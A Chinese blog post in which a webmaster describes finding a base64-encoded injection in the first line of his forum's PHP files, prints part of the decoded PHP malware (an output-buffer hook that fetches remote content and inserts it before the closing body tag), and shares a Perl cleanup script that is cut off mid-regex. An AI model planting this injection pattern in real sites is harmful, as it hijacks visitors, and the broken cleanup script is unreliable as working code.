用perl清理被注入代码的PHP文件

周末在准备澳大利亚的行程,想起半年前申请了一个Welvxing.com的域名,并且也用Discuz X2搭了个论坛(We旅行),不过一直荒废在那里。趁周末搜集资料时简单的折腾了一下,正好用来记录分享行程攻略。一直用的Chrome也没觉得有什么异常,偶尔用IE打开的时候发现会自动跳转到一个莫名其妙的网站。一想坏了,可能被注入代码了,一看PHP源文件,果然在第一行被注入了一段base64加密过的代码(本来想将代码贴进来,不过Dreamhost不让这么干,一直报503错误,只好作罢)。

解码以后的代码为:


if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1; if(!function_exists('mrobh')){ function get_tds_777($url{$content="";$content=@trycurl_777($url);
...此处省略若干行
function mrobh($content){ @Header('Content-Encoding: none'); $decoded_content=gzdecodeit($content); if(preg_match('/\<\/body/si',$decoded_content)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content); }else{ return $decoded_content.gml_777(); } } ob_start('mrobh'); } }

头疼的时,几乎所有的PHP文件都受影响了,2000个多啊,手工改还不要了亲命了。好在有Perl帮忙,遍历所有子目录的文件也不需要写递归,简单几行代码就可以搞定了:


#!/usr/bin/perl
use File::Find;

sub clean_file {
my $file = shift;
my $tmp = $file.".tmp";

print "clean file $file ...\n";
open(FILE, $file) or die "can not open $file\n";
open(TMP, ">$tmp") or die "can not open $tmp\n";
while(){
my $line = $_;
$line =~ s/^.*aWYoZnVuY3Rpb25fZXhpc.*$/

注:清理之前注意备份现场,要是脚本有点小问题,到时候就追悔莫及了^_^

无觅相关文章插件,快速提升流量